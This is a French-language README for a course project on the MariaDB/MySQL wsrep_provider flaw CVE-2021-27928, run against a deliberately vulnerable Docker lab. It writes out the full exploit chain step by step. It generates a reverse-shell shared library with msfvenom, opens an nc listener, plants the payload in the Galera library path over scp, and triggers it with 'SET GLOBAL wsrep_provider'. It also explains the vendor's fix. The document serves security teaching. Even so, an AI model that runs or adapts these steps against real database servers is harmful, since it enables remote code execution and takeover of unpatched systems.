
Une preuve de concept pour l'exploitation de la faille CVE-2021-27928
Dans ce dépôt, vous trouverez une preuve de concept de l'exploitation de la faille CVE-2021-27928 à travers un conteneur docker.
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
Les variables système wsrep_provider et wsrep_notify_cmd system peuvent être modifiées à l'exécution par un utilisateur de la base de données disposant des privilèges super, ce qui peut conduire à l'exécution de code distant qui sera exécuté avec ces privilèges.
La première variable prend un chemin vers la bibliothèque .so que le serveur essaiera de dlopen(), et la seconde prend un chemin vers le script shell que le serveur exécutera. Le fait qu'elles soient modifiables permet à un utilisateur de la base de données disposant des privilèges super d'exécuter du code arbitraire en tant qu'utilisateur système .
mysqlDans cette preuve de concept, nous utiliserons msfvenom pour générer la bibliothèque .so qui contiendra notre charge utile (dans notre cas, un reverse shell). Nous copierons ensuite ce fichier sur la machine vulnérable et spécifierons ce chemin dans la variable wsrep_provider, ce qui exécutera notre charge utile et nous donnera accès à la machine cible en tant qu'utilisateur disposant des privilèges super (ici l'utilisateur mysql) grâce à notre reverse shell.
Pour cette expérience, vous aurez besoin que les paquets docker, msfvenom, openssh-client et mariadb soient installés sur votre machine.
Dans cette configuration, la machine cible est basée sur une image MariaDB 10.4.12 (qui est vulnérable à cette faille), sur laquelle tourne un serveur openssh sans connexion root autorisée. Nous avons donc créé pour vous un utilisateur non-root, myuser, dont le mot de passe est mypassword.
Construction de l'image vulnérable :
docker build --rm=true -t mariadb-cve-2021-27928 .
Lancement de la machine cible :
docker compose up
La charge utile est le binaire que nous voulons que la machine cible exécute une fois l'exploitation terminée. Ici, nous utilisons msfvenom pour créer la charge utile reverse shell sous la forme d'une bibliothèque .so, avec notre adresse IP (LHOST) et notre port (LPORT) comme paramètres. Dans un autre shell, exécutez :
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
L'adresse IP
LHOSTest celle définie dansdocker-compose.yamlpour la passerelle du réseau, dans notre cas l'attaquant, c'est-à-dire vous.
En arrière-plan, sur un troisième terminal, nous allons écouter toute connexion entrante de la machine cible sur le port auquel elle est censée se connecter.
nc -lnvp 4444
Le port sur lequel nous écoutons,
4444, est celui que nous avons défini commeLPORTlors de la création de la charge utile.
Maintenant, nous devons copier la charge utile créée précédemment (payload-CVE-2021-27928.so) vers la machine cible via ssh en utilisant la commande scp, en tant qu'utilisateur système non-root myuser, dont le mot de passe est mypassword :
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
Comme nous ne pouvons pas copier directement un fichier via ssh vers /usr/lib, nous devons nous connecter à la machine et le déplacer manuellement au bon endroit (rappelez-vous que le mot de passe de myuser est mypassword) :
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
Nous aurions pu envoyer la charge utile dans un autre répertoire sous un autre nom, comme
/tmp/exploit.so, et passer ce chemin comme chemin de la charge utile, mais la faille ayant depuis été corrigée sur tous les paquets mariadb, son exploitation a nécessité quelques ajustements que vous verrez à la fin de cette démonstration.
La dernière étape consiste à exploiter la faille MariaDB en envoyant une requête en tant qu'utilisateur système non-root mais administrateur de base de données compétent que nous sommes, avec pour requête de définir la variable globale wsrep_provider au chemin de notre charge utile.
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
Ici,
rootsignifie « administrateur » au niveau de la base de données, et non l'utilisateur « root système ». Le mot de passe est donc celui du fichierdocker-compose.yaml,MYSQL_ROOT_PASSWORD: myrootpwd.
Enfin, si tout s'est passé comme prévu, nous pouvons voir dans le terminal où nous écoutions les connexions entrantes que la machine cible s'est bien reconnectée à nous et que nous pouvons exécuter des commandes shell. Profitez-en :)
Le reverse shell n'est pas aussi agréable qu'un shell « classique » : vous n'avez ni autocomplétion, ni invite de commande, ni historique, c'est donc à vous de surveiller la bonne exécution de vos commandes. Ainsi, à titre d'exemple, n'hésitez pas à utiliser
ls -la.
Vous pouvez exécuter
whoamidans le shell netcat pour vérifier que vous êtes bien l'utilisateur systèmemysql!
Selon le Jira de MariaDB, il semble qu'il n'y ait que peu (ou pas) de cas d'usage pratique pour que ces variables soient modifiées à l'exécution ; elles ne sont utilisées que dans les tests. Après la découverte de cette faille, le correctif a donc consisté à les rendre en lecture seule, ce qui a été un correctif simple et sûr, au prix de scripts de test légèrement plus complexes.
Ce n'était pas le cas auparavant, mais désormais, la seule valeur de chemin que wsrep_provider peut prendre est /usr/lib/galera/libgalera_smm.so. C'est pourquoi cette preuve de concept a nécessité quelques ajustements, comme donner des droits d'écriture sur le dossier /usr/lib/galera afin de pouvoir y déposer notre charge utile. Cette configuration est donc volontairement faillible dans le cadre de cette démonstration, mais elle n'est plus utilisable de cette façon sur la plupart des systèmes actuels.
Ce travail a été réalisé dans le cadre du cours de Sécurité des systèmes d'information dispensé en dernière année de la spécialisation Ingénierie des systèmes d'information à Grenoble INP - Ensimag, UGA.